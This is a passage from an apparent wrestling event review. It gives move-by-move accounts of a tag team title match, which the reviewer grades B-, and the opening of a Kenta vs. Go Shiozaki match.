There are two referees in the ring for some reason. Spear takes down Storm for two. Roode and Cain have gone off to find a Bingo game or something. Storm hits a powerslam for two. Superkick by Storm misses and Cain hits a Death Valley Driver for the pin and the titles. HUGE pop for that as they’re faces and Mexicans hold the titles again.

 

Rating: B-. This was a more fun match than the rest of them. While it was still hard to follow it was less difficult than the other matches. This lack of tagging thing is something I’m having issues getting used to. Either way, there was more of a flow here and I had a better idea of what was going on which is certainly a good thing.

 

Kenta vs. Go Shiozaki

Kenta appears to be the big crowd favorite. They strike it out to start with Kenta getting the better of it via kicks to the chest and a running knee to the ribs. Kenta charges into a boot in the corner and is lifted up for a suplex before Go just drops him onto the floor. Go whips him into the barricade and they head back inside for a strike off until Shiozaki dropskicks him down for two.

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